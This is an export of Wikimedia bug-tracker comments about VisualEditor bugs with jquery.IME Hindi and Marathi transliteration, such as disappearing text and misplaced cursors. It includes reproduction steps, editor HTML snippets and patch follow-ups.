+234616,VisualEditor: Incorrect text selection with jquery.IME,Note: Comment 3 is ofcourse with ULS IME hindi transliteration enabled.,,,1379764673,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+234612,VisualEditor: Incorrect text selection with jquery.IME,"Screenshot for comment 3
+
+**Attached**: {F11151}",,,1379764061,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+234605,VisualEditor: Incorrect text selection with jquery.IME,"Per https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c8 the following report is for the bug behaviour when tested on a page with pre-existing text:
+
+System Environment:
+Windows7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test Url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit
+
+Steps:
+Take a caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there.)
+Input ag
+
+Expected output:
+अग्
+
+Actual output:
+अग् but with the newline after it selected, although the newline or space wasn't typed in this edit and existed previously.",,,1379763646,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+234598,VisualEditor: Incorrect text selection with jquery.IME,"(In reply to comment #1)
+> There's code to address this bug in the following patch, which is due to go
+> live by mediawiki.org on 13 September 2013:
+> 
+> https://gerrit.wikimedia.org/r/#/c/82858/
+> 
+> Please let us know whether it fixes the bug!
+
+The patch doesn't fix the bug.
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test URL:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+Steps:
+Enable ULS IME hi transliteration
+Blank the page and reset the formatting to simple paragraph
+Follow the input steps described in Comment 0
+
+Result:
+The output is the same as described in Comment 0 as far as content selection is concerned. The formatting however, instead of changing to bulleted and numbered list, has gone blank. The formatting dropdown shows no value and no button in the VE toolbar is selected.
+
+Pressing backspace still deletes the space and the word. It also resets the formatting to paragraph.",,,1379508686,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+234592,VisualEditor: Incorrect text selection with jquery.IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943020,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+55705,VisualEditor: Content disappears when using jquery.IME,"System environment:
+Win 7 X64
+Google Chrome 29.0.1547.62 m
+
+Steps to reproduce:
+Open a blank page
+Edit it in VE
+Enable ULS IME hindi transliteration
+
+Input 1:
+agar[SPACE][ENTER/RETURN KEY]
+
+Input 2:
+kyaa[SPACE]
+
+Expected output 1:
+अगर[SPACE][NEWLINE]
+
+Expected output 2:
+क्या[SPACE]
+
+Actual output 1:
+[NEWLINE]
+
+Actual output 2:
+[SPACE]
+
+For the first case, when the given characters are typed, everything is fine upto the pressing of the return key, ie agar[SPACE] gives अगर[SPACE] as expected. However, as soon as the return key is pressed the entire text disappears leaving only a newline.
+
+For the second case, everything is fine till [SPACE] is pressed.
+
+If the page is not blank, extreme weirdness occurs, which can only be explained with further bugs (which I'm about to file). In short though, the disappearances persist, along with other buggy effects.
+
+Note: Page used for this test is [[:w:hi:सदस्य:Siddhartha Ghai/sandbox]]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378209360,1453749382.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ycbizrojj6ti4ywzojyo,task_description,resolved,True,c1,3,False,False,False,9,,0,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+596669,VisualEditor: Content disappears when using jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749356,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+234545,VisualEditor: Content disappears when using jquery.IME,"Hi,
+
+Besides Marathi and Hindi I tested this bug for more indic languages like Bangla, Ahirani,Konkni, etc.
+
+Even after defficulties I am trying to use VE+ULS combination on Marathi Wikipedia as much as possible to have real time feel and understand the issues better.
+
+For an example on Marathi Wikipedia we do have a page https://mr.wikipedia.org/wiki/वॉर_अँड_पीस . Other than info box it is empty. In Hindi and Marathi Wikipedia we do have large(huge) number of pages which are almost empty.Not able to type first word itself is a major hindrance and challenge before VE+ULS combinations.
+
+So wish and hope bug number 53700 and 53705 remain on priority list 
+
+
+rgds",,,1379826886,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+234538,VisualEditor: Content disappears when using jquery.IME,"HTML after input kyaa[SPACE]
+
+**Attached**: {F11140}",,,1379506412,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+234531,VisualEditor: Content disappears when using jquery.IME,"HTML after input kyaa
+
+**Attached**: {F11139}",,,1379506301,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234527,VisualEditor: Content disappears when using jquery.IME,"HTML after input agar[SPACE][ENTER/RETURN KEY]
+
+**Attached**: {F11138}",,,1379506002,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+234525,VisualEditor: Content disappears when using jquery.IME,"HTML after input agar[SPACE]
+
+**Attached**: {F11136}",,,1379505701,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+234523,VisualEditor: Content disappears when using jquery.IME,"(In reply to comment #3)
+> Here's the HTML which is in the result:
+
+The above HTML is not entirely correct. Copy-pasting messed up the text nodes. I'll be adding screenshots for the html as seen in the chrome console.",,,1379505046,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+234521,VisualEditor: Content disappears when using jquery.IME,"(In reply to comment #2)
+> There's code to address this bug in the following patch, which is due to go
+> live by mediawiki.org on 13 September 2013:
+> 
+> https://gerrit.wikimedia.org/r/#/c/82858/
+> 
+> Please let us know whether it fixes the bug!
+
+The bug is not fixed. The behaviour for both the spaces specified in Comment 0 is still the same. Tested at https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+Here's the HTML which is in the result:
+
+HTML for Input 1:
+
+<div class=""ve-ce-documentNode ve-ce-branchNode"" contenteditable=""true"" spellcheck=""true"" lang=""en"" dir=""ltr""><p class=""ve-ce-branchNode""><span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug""></span></p><p class=""ve-ce-branchNode""><span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug""></span></p></div>
+
+HTML for Input 2:
+
+<div class=""ve-ce-documentNode ve-ce-branchNode"" contenteditable=""true"" spellcheck=""true"" lang=""en"" dir=""ltr""><p class=""ve-ce-branchNode"">&nbsp;</p></div>",,,1379503794,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+234519,VisualEditor: Content disappears when using jquery.IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943009,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+234516,VisualEditor: Content disappears when using jquery.IME,The further weirdness mentioned above is explained in Bug 53706 and Bug 53708,,,1378213142,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+55701,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
+Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
+works normal     
+
+*Tested Browser and OS =Firefox+Win7
+
+*Problem description =In normal speed typing,after we type first alphaabate cursor moves from right to left direction.Word marathi need to apear मराठी with VE+ULS instead is coming राठीम 	
+
+**additional details = Marathi language devanagari is written in left to right direction.But when we use ULS Method of input = अक्षरांतरण with VE cursor is moving in opposite direction after typing first charecter as if we are typing a right to left script after typing first charecter and then again moves left to right 
+
+*Screenshot will be added
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49569",Medium,50.0,1378208100,1453749409.0,PHID-USER-azy72hrp3tpetr52aob6,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fzc2bascptcvyjvfz6iv,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+596671,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749391,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+234342,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"Would it be possible to test against current master? You can use this at
+http://en.wikipedia.beta.wmflabs.org/ - we believe that we may have fixed the
+issues (or, at least, changed the behaviour) since you tested it.
+
+Thank you!",,,1381270429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0
+234337,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"Automatic Incorrect caret movement has been reported separately as Bug 54424
+
+I suspect that this bug is a special case of that bug, but I may be wrong.",,,1379768841,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+234334,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"(In reply to comment #2)
+
+Did primary testing seems some change of behaviour and different kind of weird  aspects . will need more tests and time before confirming. 
+
+Rgds",,,1379657273,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0
+234328,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378942983,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+234322,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"[Not a blocker, see http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity ]
+
+> *Tested Browser and OS =Firefox+Win7
+
+Which Firefox version?
+
+
+What I tried:
+1. Go to http://mr.wikipedia.org/wiki/%E0%A4%85%E0%A4%AB%E0%A4%97%E0%A4%BE%E0%A4%A3%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A4%BE%E0%A4%A8
+2. make sure to be logged in
+3. Go to माझ्या पसंती (Preferences), संपादन and enable last option: यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this enables VisualEditor
+4. Click cog next to इतर भाषांमध्ये
+5. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
+6. Click संपादन (Edit)
+7. Make sure that URL ends with &veaction=edit
+8. Type
+
+Results are weird under Firefox 23.0.1 and Fedora 19 (new lines inserted etc), but typing is not always backwards.",,,1378212107,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+55700,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi  Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण works normal 	
+
+*Tested Browser and OS =Firefox+Win7
+
+*Problem description = No other text on a page> Type a word + space bar = eliminates typed text imidiately
+
+**additional details = If some text is already there on the page or we copy paste then we can give the space bar with less frequency of this problem.
+
+
+*Screen shot or Difference of edit if available = Can not create the screen shot/or edit diff
+
+
+Thanks and Regards
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49569
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53706",Medium,50.0,1378207380,1453749441.0,PHID-USER-azy72hrp3tpetr52aob6,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3e25u2t2rvump3xhzmpi,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+596674,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749416,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+234268,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","Not just Marathi/Devanagari specific, apparently it's a general problem with jquery.IME in VE.",,,1381270732,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+234263,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately",*** Bug 54960 has been marked as a duplicate of this bug. ***,,,1381270703,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234258,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","(In reply to comment #6)
+> (In reply to comment #4)
+> > I tested on  mr wiki
+> 
+> As comment 3 said, it's available on ***mediawiki.org***, not mr wiki (yet).
+> mediawiki.org is where to test it.
+
+Confirming this is not fixed.
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test URL:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+Steps to reproduce:
+Enable ULS IME mr transliteration (labelled अक्षरांतरण)
+Blank the page (and reset formatting to simple paragraph, i.e remove bulleted list formatting)
+
+Input 1:
+agar[SPACE]
+
+Output 1:
+[SPACE]
+
+Expected Output (as seen in the old editor):
+अगर्[SPACE]
+
+Input 2:
+kyaa[SPACE]
+
+Output 2:
+[SPACE]
+
+Expected Output (as seen in the old editor):
+क्या[SPACE]",,,1379504653,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+234254,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","(In reply to comment #4)
+> I tested on  mr wiki
+
+As comment 3 said, it's available on ***mediawiki.org***, not mr wiki (yet). mediawiki.org is where to test it.",,,1379323479,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+234250,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","(In reply to comment #4)
+
+Hello, gave one more try during a live edit correction, result no success.
+
+*On mr wikipedia page was https://mr.wikipedia.org/wiki/नारायण_श्रीपाद_राजहंस  
+
+*During the last edit diff https://mr.wikipedia.org/w/index.php?title=नारायण_श्रीपाद_राजहंस&diff=1198688&oldid=1184350 one new user has removed  section heading to word जीवन  
+
+*I took corrective editing target to type Marathi word व्यक्तीगत (by using VE+ULS method ) before word जीवन   so it will be a two word section heading  ==व्यक्तीगत जीवन==
+** Sentence to be edited जीवन नारायण श्रीपाद राजहंस यांचा जन्म जून २६, इ.स. १८८८ रोजी जिल्ह्यातील पलुस तालुक्यात नागठाणे या गावी झाला.
+
+
+Steps tried
+
+*Visit Marathi language wikipedia
+*Enable visual editor from preferences [[Special:Preferences#mw-prefsection-editing]]
+* page https://mr.wikipedia.org/wiki/नारायण_श्रीपाद_राजहंस
+
+
+* Clicked संपादन that is edit (Visual Editor's)
+
+* Sentence appeared  जीवन ↵नारायण श्रीपाद राजहंस यांचा जन्म जून २६, इ.स. १८८८ रोजी जिल्ह्यातील पलुस तालुक्यात नागठाणे या गावी झाला. 
+
+* Display language Marathi For Input method selected ULS> 1)अक्षरांतरण (transliteration)
+
+*Clicked Enter after word जीवन  since rest of line needs to be in paragraph portion
+
+*Took cursor before word जीवन  
+
+* To transliterate Typed keys from key board 'vyaktigata >> अक्षरांतरण transliteration transliterated to>> व्यक्तिगत transliteration was success.
+
+* Then 'Pressed space bar' the result was word 'व्यक्तिगत' disappeared.
+
+
+* Repeated above with different ULS input method  ULS> 2) इनस्क्रिप्ट (Inscript)
+
+** To transliterate typed keys  bd/kdlfil transliterated to>> व्यक्तिगत transliteration was success.
+
+** Then 'Pressed space bar' the result was word 'व्यक्तिगत' disappeared.
+
+Windows 7 + tried two browsers Firefox (version mentioned earlier) and Google Chrome (is up to date Version 29.0.1547.66 m)  The results were failure.
+
+
+(VE+windows native Input method इनस्क्रिप्ट 'in script' worked successfully to type word  व्यक्तिगत + space bar was success.) 
+
+We still wait and look forward to VE +ULS success. Best wishes for the same 
+
